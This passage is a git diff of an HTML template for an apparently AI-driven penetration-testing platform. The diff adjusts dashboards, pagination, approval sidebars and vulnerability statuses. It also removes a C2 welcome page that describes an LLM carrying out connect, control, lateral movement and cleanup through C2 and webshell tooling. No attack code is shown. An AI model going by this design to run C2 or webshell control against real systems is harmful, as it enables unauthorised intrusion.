<span class="dashboard-access-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
|
||||
</div>
|
||||
<div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
|
||||
<span class="dashboard-access-stat-value" id="dashboard-c2-sessions-online">-</span>
|
||||
<span class="dashboard-access-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
|
||||
</div>
|
||||
<div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
|
||||
<span class="dashboard-access-stat-value" id="dashboard-c2-tasks-pending">-</span>
|
||||
<span class="dashboard-access-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dashboard-feed-panel" id="dashboard-access-panel-webshell" role="tabpanel" aria-labelledby="dashboard-access-tab-webshell" hidden>
|
||||
<div class="dashboard-access-strip dashboard-access-strip--webshell">
|
||||
<div class="dashboard-access-stat dashboard-access-stat--webshell" role="button" tabindex="0" onclick="switchPage('webshell')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('webshell'); }" data-i18n="dashboard.webshellClickConnections" data-i18n-attr="title" title="查看连接">
|
||||
<span class="dashboard-access-stat-value" id="dashboard-webshell-connections">-</span>
|
||||
<span class="dashboard-access-stat-label" data-i18n="dashboard.webshellConnections">活跃连接</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dashboard-webshell-recent" id="dashboard-webshell-recent" hidden></div>
|
||||
</div>
|
||||
</section>
|
||||
<!-- 推荐操作:基于当前数据状态智能生成(如「修复 4 个待处理严重漏洞」「审批 2 个 HITL」),
|
||||
比纯静态导航更有意义;当没有任何推荐时整个 section 隐藏 -->
|
||||
@@ -656,6 +638,36 @@
|
||||
</section>
|
||||
</div>
|
||||
<div class="dashboard-side">
|
||||
<section class="dashboard-section dashboard-section-batch-side">
|
||||
<div class="dashboard-section-header">
|
||||
<h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3>
|
||||
<a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a>
|
||||
</div>
|
||||
<div class="dashboard-batch-side-body" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }">
|
||||
<div class="dashboard-batch-side-total" id="dashboard-batch-total">-</div>
|
||||
<div class="dashboard-batch-side-stats">
|
||||
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--pending">
|
||||
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-pending">-</span>
|
||||
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.pending">待执行</span>
|
||||
</div>
|
||||
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--running">
|
||||
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-running">-</span>
|
||||
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.executing">执行中</span>
|
||||
</div>
|
||||
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--done">
|
||||
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-done">-</span>
|
||||
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.completed">已完成</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dashboard-batch-side-progress" aria-hidden="true">
|
||||
<div class="dashboard-batch-side-progress-bar">
|
||||
<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div>
|
||||
<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
|
||||
<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
<section class="dashboard-section dashboard-section-tools">
|
||||
<div class="dashboard-section-header">
|
||||
<h3 class="dashboard-section-title" data-i18n="dashboard.toolsExecCount">工具执行次数</h3>
|
||||
@@ -723,14 +735,6 @@
|
||||
<span class="dashboard-resource-label" data-i18n="dashboard.agentsLabel">Agents</span>
|
||||
<span class="dashboard-resource-value" id="dashboard-resource-agents">-</span>
|
||||
</a>
|
||||
<!-- WebShell 连接:渗透落地后建立的 foothold,对安全运维场景非常关键 -->
|
||||
<a class="dashboard-resource-item" onclick="switchPage('webshell')" role="button" tabindex="0">
|
||||
<span class="dashboard-resource-icon dashboard-resource-icon-webshell" aria-hidden="true">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
|
||||
</span>
|
||||
<span class="dashboard-resource-label" data-i18n="dashboard.webshellLabel">WebShell</span>
|
||||
<span class="dashboard-resource-value" id="dashboard-resource-webshell">-</span>
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
@@ -817,6 +821,7 @@
|
||||
<div id="conversations-list" class="conversations-list"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="conversations-pagination" class="sidebar-list-pagination conversation-sidebar-pagination"></div>
|
||||
<div id="chat-reasoning-wrapper" class="chat-reasoning-wrapper conversation-reasoning-card conversation-reasoning-collapsed" style="display: none;">
|
||||
<button type="button" id="conversation-reasoning-toggle" class="conversation-reasoning-card-header" onclick="toggleConversationReasoningCard()" aria-expanded="false" aria-controls="conversation-reasoning-body" data-i18n="chat.reasoningCompactAria" data-i18n-attr="aria-label,title" data-i18n-skip-text="true" aria-label="模型推理选项" title="模型推理选项">
|
||||
<div class="conversation-reasoning-heading">
|
||||
@@ -831,6 +836,11 @@
|
||||
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
|
||||
</div>
|
||||
</div>
|
||||
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</span>
|
||||
</button>
|
||||
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
|
||||
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
|
||||
@@ -859,7 +869,7 @@
|
||||
</div>
|
||||
</div>
|
||||
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
|
||||
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()">
|
||||
<div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
|
||||
<div class="hitl-sidebar-heading">
|
||||
<span class="hitl-sidebar-icon" aria-hidden="true">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
@@ -872,11 +882,11 @@
|
||||
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="hitl-sidebar-header-actions">
|
||||
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
||||
<span data-i18n="chat.hitlApply">应用</span>
|
||||
</button>
|
||||
</div>
|
||||
<span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</span>
|
||||
</div>
|
||||
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
|
||||
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
|
||||
@@ -894,6 +904,11 @@
|
||||
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
|
||||
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
|
||||
</div>
|
||||
<div class="hitl-config-actions">
|
||||
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
||||
<span data-i18n="chat.hitlApply">应用</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1445,6 +1460,7 @@
|
||||
<input type="search" id="projects-list-search" class="form-input" placeholder="搜索项目…" oninput="filterProjectsList()" autocomplete="off" data-i18n="projects.searchProjectsPlaceholder" data-i18n-attr="placeholder">
|
||||
</div>
|
||||
<div id="projects-list" class="projects-list"></div>
|
||||
<div id="projects-pagination" class="sidebar-list-pagination projects-sidebar-pagination"></div>
|
||||
</aside>
|
||||
<main class="projects-detail" id="projects-detail-main">
|
||||
<div class="projects-detail-placeholder" id="projects-detail-placeholder">
|
||||
@@ -1597,6 +1613,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>
|
||||
@@ -1795,6 +1812,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</label>
|
||||
<div class="vulnerability-filter-actions">
|
||||
@@ -1995,51 +2013,6 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- C2 管理页面容器(各子页面通过 JS 动态渲染) -->
|
||||
<div id="page-c2" class="page">
|
||||
<div class="page-header">
|
||||
<h2 data-i18n="c2.title">C2 管理</h2>
|
||||
</div>
|
||||
<div class="page-content" id="c2-content">
|
||||
<div class="c2-layout">
|
||||
<div id="c2-main" class="c2-main">
|
||||
<div class="c2-welcome">
|
||||
<div class="c2-welcome-icon">
|
||||
<svg width="72" height="72" viewBox="0 0 24 24" fill="none" stroke="url(#c2-grad)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
|
||||
<defs><linearGradient id="c2-grad" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00d4ff"/><stop offset="100%" stop-color="#a855f7"/></linearGradient></defs>
|
||||
<path d="M4.9 19.1C1 15.2 1 8.8 4.9 4.9"></path>
|
||||
<path d="M7.8 16.2c-2.3-2.3-2.3-6.1 0-8.5"></path>
|
||||
<circle cx="12" cy="12" r="2"></circle>
|
||||
<path d="M16.2 7.8c2.3 2.3 2.3 6.1 0 8.5"></path>
|
||||
<path d="M19.1 4.9C23 8.8 23 15.2 19.1 19"></path>
|
||||
</svg>
|
||||
</div>
|
||||
<h3 data-i18n="c2.welcomeTitle">AI-Native C2 框架</h3>
|
||||
<p data-i18n="c2.welcomeDesc">以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成"上线 → 控制 → 任务 → 横向 → 清场"全流程</p>
|
||||
<div class="c2-stats" id="c2-dashboard-stats">
|
||||
<div class="c2-stat-item">
|
||||
<span class="c2-stat-value" id="c2-stat-listeners">-</span>
|
||||
<span class="c2-stat-label" data-i18n="c2.statListeners">运行中监听器</span>
|
||||
</div>
|
||||
<div class="c2-stat-item">
|
||||
<span class="c2-stat-value" id="c2-stat-sessions">-</span>
|
||||
<span class="c2-stat-label" data-i18n="c2.statSessions">在线会话</span>
|
||||
</div>
|
||||
<div class="c2-stat-item">
|
||||
<span class="c2-stat-value" id="c2-stat-pending">-</span>
|
||||
<span class="c2-stat-label" data-i18n="c2.statPending">待审任务</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="c2-actions">
|
||||
<button class="btn-primary" onclick="switchPage('c2-listeners')" data-i18n="c2.goListeners">管理监听器</button>
|
||||
<button class="btn-secondary" onclick="switchPage('c2-sessions')" data-i18n="c2.goSessions">查看会话</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- C2 监听器管理页面 -->
|
||||
<div id="page-c2-listeners" class="page">
|
||||
<div class="page-header">
|
||||
@@ -3507,10 +3480,9 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Marked.js for Markdown parsing -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
|
||||
<!-- DOMPurify for HTML sanitization to prevent XSS -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
|
||||
<!-- Marked.js + DOMPurify:本地 vendor,避免 CDN 不可用导致 Markdown 降级为纯文本 -->
|
||||
<script src="/static/vendor/marked.min.js"></script>
|
||||
<script src="/static/vendor/purify.min.js"></script>
|
||||
<script src="/static/js/sanitize-markdown.js"></script>
|
||||
<!-- Cytoscape.js for attack chain visualization -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
|
||||
@@ -3545,8 +3517,9 @@
|
||||
</div>
|
||||
<div class="form-group" id="skill-package-editor" style="display: none;">
|
||||
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
|
||||
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
|
||||
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
|
||||
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div>
|
||||
<div id="skill-package-tree"></div>
|
||||
<div style="flex: 1; min-width: 0;">
|
||||
<div style="margin-bottom: 8px; font-size: 13px;">
|
||||
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
|
||||
@@ -3972,6 +3945,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityModal.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
@@ -4250,6 +4224,11 @@
|
||||
<textarea id="fact-modal-body" class="form-input fact-modal-body-input" rows="14" placeholder="攻击链步骤、HTTP/命令 POC、响应现象、证据…" oninput="updateFactFormHints()"></textarea>
|
||||
<p id="fact-modal-body-hint" class="projects-field-hint" role="status"></p>
|
||||
</div>
|
||||
<div class="projects-form-field">
|
||||
<label class="projects-filter-check projects-pin-toggle">
|
||||
<input type="checkbox" id="fact-modal-pinned"> <span data-i18n="projects.pinFact">置顶事实(列表与黑板索引优先)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div class="projects-form-field">
|
||||
<label for="fact-modal-related-vuln" data-i18n="projects.relatedVulnIdLabel">关联漏洞 ID</label>
|
||||
<input type="text" id="fact-modal-related-vuln" class="form-input" placeholder="可选" data-i18n="projects.optional" data-i18n-attr="placeholder">
|
||||
@@ -4274,12 +4253,6 @@
|
||||
</div>
|
||||
<div class="projects-modal-body">
|
||||
<p id="fact-detail-sparse-warn" class="projects-fact-sparse-warn" hidden></p>
|
||||
<div id="fact-detail-prev-wrap" class="fact-detail-prev-wrap" hidden>
|
||||
<h4 class="fact-detail-prev-title" data-i18n="projects.previousVersion">上一版本</h4>
|
||||
<p id="fact-detail-prev-meta" class="projects-modal-subtitle"></p>
|
||||
<pre id="fact-detail-prev-body" class="fact-detail-body fact-detail-body--muted"></pre>
|
||||
</div>
|
||||
<h4 class="fact-detail-current-title" data-i18n="projects.currentVersion">当前版本</h4>
|
||||
<pre id="fact-detail-body" class="fact-detail-body"></pre>
|
||||
</div>
|
||||
<div class="projects-modal-footer projects-modal-footer--split">
|
||||
|
||||
Reference in New Issue
Block a user